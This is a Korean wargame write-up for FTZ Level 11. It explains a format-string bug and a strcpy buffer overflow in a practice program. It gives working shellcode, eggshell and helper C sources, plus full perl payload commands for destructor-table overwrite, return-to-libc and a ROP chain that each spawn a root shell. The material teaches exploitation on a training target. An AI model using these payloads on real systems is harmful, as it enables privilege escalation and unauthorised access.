FTZ WriteUp

Level11

 

 

이번 난이도부터는 attackme라는 파일과 힌트에는 소스코드가 주어진다

 

취약점을 보고 공격하란 뜻인 것 같다

 

소스코드를 보니 취약점이 2개가 있다

Strcpy(str, argv[1]) BOF취약점 하나와

Printf(str)에 포맷 스트링 취약점

먼저 첫번째 BOF취약점은 strcpy함수가 문자열의 길이를 검사하지 않고 복사하는 것 때문에 오버플로우 취약점이 생긴 것이다

그리고 두번째 포맷스트링은 원래 기본적인 printf함수 라면 printf(“%d”,x) printf(“%s”,str)이렇게 아니면 printf(“hello world”); 처럼 인자가 정해져 있어야 한다 그런데 소스에는 printf함수 안에

배열 이름이 적혀져 있다 잘은 모르겠지만 실행해보면 출력이 된다 그러나 이렇게 사용하게 되면 만약에 argv[1]의 인자로 printf 인자, %d, %x같은 것들을 같이 입력하면 비정상적인 출력을 하게 되는데 버퍼의 다른 부분을 출력하게 된다 이것을 노려서 버퍼에 쉘코드를 넣고 ret에 쉘코드를 가리키게 하면 쉘이 따이는 현상이 나타난다 그게 포맷스트링이다

 

 

 

 

먼저 포맷스트링에 대해 알아보자

이 소스에서는 알기 힘들다

 

다른 소스를 사용한다

 

 

우선 일단 실행 해보자

 

 

일단은 인자를 사용하지 않았기에 정상적으로 출력이 된다 인자를 한번 사용해보자

 

 

메모리의 값들이 읽혔다

 

Aaa.%x.%x%x를 입력했더니 출력 결과로 메모리의 값들이 반환되는 것을 볼 수 있다

이는 printf()함수에 별도의 포맷 스트링이 주어지지 않았기 때문에 text를 포맷스트링으로 인식하는 것이다.

그리고 포맷 스트링을 만날 때마다 스택으로부터 순서대로 데이터를 꺼내게 된다

출력된 값을 보면 aaa라는 문자열은 4번째에 위치하고 있다

 

이처럼 포맷 스트링 공격시에는 원하는 메모리번지를 조작하기 위해 스택의 거리를 계산해야되는 데 이것을 간격이라 한다

 

여기서 스택의 구조를 잠깐 살펴보면

이렇게 되있는데

저기 저 61616161 aaaa가 출력이 되는 이유는 스택의 끝부터 값을 읽어와서 그런 것이다

우리는 저곳에 쉘코드 주소를 넣어 공격할 것이다

그리고 저것이 환경마다 다 다르게 나온다 우리는 이것을 간격이라 부른다

우리는 어쩌다 간격을 찾은 것인데 평소 버퍼가 넓다면

이렇게도 구할 수 있다

 

저기에는 아까 입력한 61616161같은게 없다 그러나 자세히 보면 비슷한 패턴들이 반복된다 4번째 이후부터 발생되는데 저게 뭐냐면 x.의 아스키 값이다 여기서 간격은 저 아스키값이 시작되는 부분이다

 

나는 잘 몰랐는데 펄스크립트에서 $으로 감싸는 것이 출력결과를 커맨드라인으로 전달하는거라 한다

 

자 이렇게 보니 네번째 포맷 인자부터 우리가 입력한 문자열이 읽혀지는 것을 확인 했다

그럼 포맷스트링의 시작부분에 주소를 넣고 %n인자를 넣으면 %n인자로 %n이 오기전까지의 바이트를 카운트해서 저장한다 일단 해보자

 

 

지금은 test_val의 주소를 넣고 %n연산을 했더니 값이 -72에서 14로 바뀌었다 14는 주소(4)+첫번째%x(8)+두번째%x(!)+세번째%x(1) 이렇게 해서 14다 왜 첫번째 %x 8이오는지는 아직 잘 모르겠다

 

% x사이에 숫자를 넣으면 그만큼 바이트를 증가시킬 수 있다 test_val 100으로 바꿔보자

 

 

첫번째 %x를 수정하면 8이었던게 사라지고 숫자그대로적용이된다

 

아무튼 이러한 방법을 통해서 공격할 것이다

 

그리고 %4\$n이런방식으로 %x%x%x이렇게 많이 해줄필요없이 바로 지정해줄 수도 있는데 $ 이것은 인자 위치 지정포맷으로 원하는 번째에 값을 쓸 수 있게 한다

물론 그 위치에 맞는 간격이 있어야 쓸 수 있다

 

 

이제 우리가 어딜 공격해야 하는지 알아보자

 

1.     소멸자 테이블

우리가 공격해야 할 곳은 소멸자 테이블의 주소인데 소멸자란 프로그램이 종료되어 소멸되기 직전에 실행되는 함수이다 마치 BOF에서 ret에 쉘코드 주소를 넣듯이 포맷스트링에선 소멸자를 이용한다 이 소멸자 테이블의 특징은 소멸자 속성인 함수가 하나도 없어도 테이블이 존재하며, 소멸자 테이블의 마지막 주소인 _DTOR_END_의 값이 쓰기 가능한 곳이라 우리가 값을 바꾸면 프로그램이 종료될 때 그 값을 실행한다

 

2.     쉘코드의 주소 확인

우리는 쉘코드가 시스템 내에 어디에 있는지 알아야 한다 우선 쉘코드를 시스템 내에 넣어야 하는데 그 방법중 하나가 환경변수이다

우선 환경변수로 쉘코드를 넣자

 

 

그리고 다음 소스를 코딩하고 컴파일한다

 

이 코드는 환경변수가 어디에 있는지 찾아주는 프로그램이다

 

가운데에 argv[0]에서 – argv[2]를 빼고 2를 곱하는게 있는데 이것은 우선 argv[1]의 환경변수의 주소를 구한 뒤에 오차를 맞춰주기 위함이다 프로그램 이름 길이에 따라 환경변수의 주소도 옮겨지기 때문에 argv[0], 예를들어 ./getenvaddr 이것의 길이와 argv[2], ./fmt_vuln 이것의 길이를 뺀 후에 2를곱하는데 2를곱하는건 프로그램 이름이 1자씩늘어날수록 주소는 2씩 증가하기 때문이다

 

실행해보면 쉘코드가 있는 주소가 나온다

 

 

자 그럼 소멸자의 주소도 알았고 쉘코드의 주소도 알았다

 

소멸자의 주소에 쉘코드의 주소를 넣으면 된다

소멸자의주소는 스크립트언어로 넣는다 그러나 문제가 있다 쉘코드의 주소를 소멸자의 주소에 넣어야 하는데 소멸자의 주소 0xbffffc30 10진수로 바꾸면 3221224480 이 된다 이것을 %3221224480x로 해서 넣으면 실행이 되지 않는다

그래서 나온 방법중 하나가 %hn연산자이다

 

이 연산자는 2바이트만 값을 저장하는 인자이다 때문에 0xbfff 0xfc20을 나눠서 저장 할 수 있게 된다

0xbfff를 출력하고 그다음에 0xfc30 – 0xbfff를 출력해서 저장한다

아 그리고 0xbfff를 출력할때는 기존에 있던 바이트를 빼야한다

무슨말이냐면 0xbffffc30을 넣기전에 소멸자의 주소를 넣으니 그 만큼의 바이트를 차지하게 된다 그것을 빼야 정확한 주소가 나온다

 

이렇게 나온다 그럼 이걸 가지고 공격을 해보자

 

값을 거꾸로 집어 넣은 이유는 앞은 0xbfff이고 뒤는 0xfc30이다

 

 

쉘이 떳다 이와 같은 방식으로 이번에 공격할 프로그램도 공격을 하면 된다

이미 설명은 했으므로 공격하는 사진만 올리겠다

 

 

 

 

다른 공격 취약점도 있다 BOF취약점인데 공격방법이 3가지가 있다

 

일반적인 BOF공격법, 환경변수를 이용한 공격법, RTL

세가지다 글에 옮겨 적고 싶지만 글이 길어질 것 같아서 다음으로 미룬다

 

15-11-18 그냥 이전에 있던`Basic BOF와 환경변수를 이용한 eggshell, RTL등등 그리고 마침 이 문제에 ROP가 가능하기에 써보려한다.

 

먼저 Basic BOF는 지금 Redhat 9.0의 메모리 보호기법에 스택에 ASLR이 걸려있어서 하기 힘들다

그래서 나는 왜 9.0 FTZ를 만들었는지 조금 의문이다. 계속하다보면 되긴하지만..거의 불가능에 가깝다.

 

그래서 환경변수를 이용한 BOF를 해보려한다.

우선 쉘코드를 환경변수에 집어넣는다

export SHELLCODE=$(perl –e ‘print “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”’)

 

그 다음 이 프로그램을 통해 쉘코드가 위치한 환경변수 주소를 찾습니다..

Getenvaddr.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

int main(int argc, char *argv[]){

        char *ptr;

 

        ptr = getenv(argv[1]);

        ptr += (strlen(argv[0]) - strlen(argv[2]))*2;

        printf("%s will be at %p\n", argv[1],ptr);

}

 

 

위의 소스에서 ptr += (strlen(argv[0]) - strlen(argv[2]))*2; 이부분에서 *2는 환경변수의 오차를 없애기 위해 넣은것이다.

 

저렇게 나온 주소를 통해 다음 스크립트를 실행하면 쉘이 실행된다

 

 

아 그리고 이것말고도 에그쉘이라는 툴이 있다

Getenvaddr.c와 같은 기능을 한다

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

#define DEFAULT_OFFSET          0

#define DEFAULT_ADDR_SIZE       8

#define DEFAULT_BUFFER_SIZE     16

#define DEFAULT_PHANTOM_SIZE    2048

#define NOP                     0x90

 

char shellcode[]=

"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

unsigned long get_sp(){

        __asm__("movl %esp, %eax");

}

int main(int argc, char *argv[]){

        char *ptr, *phantomSH;

        char shAddr[DEFAULT_ADDR_SIZE+1];

        char cmdBuf[DEFAULT_BUFFER_SIZE];

        long *addr_ptr, addr;

        int offset=DEFAULT_OFFSET;

        int i, phantomshLen=DEFAULT_PHANTOM_SIZE;

 

        if(!(phantomSH=malloc(phantomshLen))){

                printf("Can't allocate memory for phantomshLen");

                exit(0);

        }

        addr = get_sp()-offset;

        printf("Using address : 0x%x\n",addr);

        ptr = phantomSH;

        for(i=0;i<phantomshLen-strlen(shellcode)-1;i++)

                *(ptr++)=NOP;

        for(i=0;i<strlen(shellcode);i++)

                *(ptr++)=shellcode[i];

        phantomSH[phantomshLen-1]='\0';

        memcpy(phantomSH, "PHANTOM=", DEFAULT_ADDR_SIZE);

        putenv(phantomSH);

        system("/bin/bash");

}

다음은 RTL을 이용해 쉘을 얻어보겟다

RTL은 에 대한 것은 나중에 설명하기로 하고 시연만 하겠다.

 

간단히 말하자면 RTL이라는 것은 Return To Libc의 약자로 라이브러리 함수를 통해 공격하는 기법을 말한다.

그래서 ASLR 랜덤스택을 우회할 수 있다.

 

먼저 시스템 상에서 C라이브러리 함수를 호출하게 되면

           

System()함수의 경우 이런식으로 호출이 된다

함수 호출, 함수 리턴값, 인자값

여기서 리턴값은 어떠한 값을 줘도 괜찮다 다른 호출이 필요한 경우는 다르지만 괜찮다

주로 깔끔하게 하기 위해 exit()함수의 주소를 넣는다

그리고 우리는 인자값에 /bin/sh의 주소를 찾아 넣을것이다

 

그런데 여기서 중요한점 하나는 /bin/sh는 프로그램이다

그런데 어떻게 /bin/sh가 라이브러리에 있을까?

 

이것을 예전에 질문한 적이 있다

라이브러리에서 "/bin/sh"라는 문자열을 찾을 수 있는것도 system함수에서 내부적으로 /bin/sh -c를 사용하기 때문입니다

라고 답변을 받은 적이 있다 출처 매쓰보이

 

이제 /bin/sh의 위치를 찾기 위해 다음 소스를 컴파일한후 실행한다

Findsh.c

#include <stdio.h>

 

int main() {

        long shell= 0x4203f2c0; //system 함수의 주소

 

        while(memcmp((void*)shell, "/bin/sh", 8))

                //system함수의 주소에서 8바이트씩 /bin/sh를 비교해서 찾는다.

                shell++; //못찾으면 다음 주소로

        printf("\"/bin/sh\" is at [ %#x ]\n",shell);

}

 

컴파일한 후 실행하면 /bin/sh의 주소가 나온다

 

 

이제 system()주소와 exit()주소를 알아낸 후 공격을 시도한다

 

 

System : 0x4203f2c0

Exit : 0x42029bb0

/bin/sh : 0x42127ea4

./attackme $(perl -e 'print "\x90"x268, "\xc0\xf2\x03\x42", "\xb0\x9b\x02\x42", "\xa4\x7e\x12\x42"')

 

 

이제 마지막으로 ROP를 이용한 공격이다

ROP(Return Oriented Programming)는 취약한 프로그램 내부에 있는 기계어 코드 섹션들(Gadget)을 이용하여 BOF공격 시 특정 명령을 실행시키는 방법을 말한다.

 

이 기법을 알기 위해선 Fake EBP, RTL Chainning, GOT PLT Overwrite등을 익힌 후에 공부를 해야한다.

설명이 너무 길어져서다른분이 쓰신 PPT자료를 공유할 수도없고..하하

 

간단한 단어들 설명부터 하겠다

Gadget : ROP 공격을 할 때 쓰이는 바이트 조각들을 의미한다. 공격에 필요한 주소를 만들기 위한 바이트 조각들. 이 가젯들을 찾아 원하는 코드로 재조합 하는 것이 중요함

-> ROP /bin/sh의 각 문자들의 조각을 뜻한다.

 

GOT(Global Offset Table) : GOT 의 경우 프로시저들의 주소를 갖고 있어서, PLT 가 이를 참조합니다. 결과적으로 PLT 가 어떤 외부프로시저를 호출한다 하면, GOT 를 참조해서 해당 주소로 점프하게 됨

-> 프로그램 실행후 libc.so 내의 실제 함수 주소가 저장되는 곳

 

 

 

         PLT(Procedure Linkage Table) : 프로시저들을 연결해 주는 테이블, 외부 프로시저들을 대상으로 연결          을 하기 때문에, 어떻게 구현했느냐에 따라 메커니즘이 달라지게 됩니다.

        -> 프로그램이 호출하는 모든 함수들을 나열하는 테이블

 

 

 

….

 

페이로드를 설명하자면 이번 문제 속에 POP-POP-RET 가젯이 있어서 ROP를 시연 할 수 있게 됬다

ppr가젯과 strcpy함수로 bss영역에 “/bin/sh”문자열들을 집어넣고

마지막에 system함수로 bss영역을 실행할 것이다.

 

 

 

먼저 ppr의 주소를 찾겟다

objdump -d attackme | grep ret -B3

 

Ppr의 주소는 : 0x80484ed

 

그리고 strcpy@plt의 주소는

 

strcpy@plt : 0x804835c

그리고 bss의 주소 : 0x804963c

 

이제 /bin/sh의 문자열을 찾아야한다

위에 그냥 RTL에서 쓴것처럼 /bin/sh자체를 쓰면 상관이없으나 그건 RTL이 된다

직접 /bin/sh를 찾겟다

 

ppr : 0x80484ed

strcpy@plt : 0x804835c

bss : 0x804963c

" / " : 0x80480f4

" b " : 0x80480f7

" i " : 0x80480f6

" n " : 0x80480fe

" / " : 0x80480f4

" s " : 0x8048102

" h " : 0x8048380

"\0 " : 0x804956c

Buffer(268)

+ strcpy@plt + ppr + .bss[0] + ‘/’

+ strcpy@plt + ppr + .bss[1] + ‘b’

+ strcpy@plt + ppr + .bss[2] + ‘i’

+ strcpy@plt + ppr + .bss[3] + ‘n’

+ strcpy@plt + ppr + .bss[4] + ‘/’

+ strcpy@plt + ppr + .bss[5] + ‘s’

+ strcpy@plt + ppr + .bss[6] + ‘h’

+ strcpy@plt + ppr + .bss[7] + ‘NULL’ //가젯 추가!!

+ system + ‘dumy’ + .bss[0]

 

./attackme $(perl -e 'print "\x90"x268,

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x3c\x96\x04\x08", "\xf4\x80\x04\x08",

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x3d\x96\x04\x08","\xf7\x80\x04\x08",

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x3e\x96\x04\x08","\xf6\x80\x04\x08",

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x3f\x96\x04\x08", "\xfe\x80\x04\x08",

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x40\x96\x04\x08","\xf4\x80\x04\x08",

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x41\x96\x04\x08","\x02\x81\x04\x08",

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x42\x96\x04\x08","\x80\x83\x04\x08",

"\x5c\x83\x04\x08","\xed\x84\x04\x08","\x43\x96\x04\x08","\x6c\x95\x04\x08",

"\xc0\xf2\x03\x42", "\xb0\x9b\x02\x42", "\x3c\x96\x04\x08"')

 

 

 

Level11 Clear!!

 

 

 

16.02.11 – NOP Sled 추가

이번에 알았던 것 중 하나는 9.0버전만 그런 것 인지는 모르겠으나 argvASLR의 영향을 받지 않는다. 그래서 NOP로 앞에 넣고 쉘코드를 넣고 RETargv[1]로 넣으면 공격이 성공한다.

Phantom@TeamH4C

댓글

댓글 본문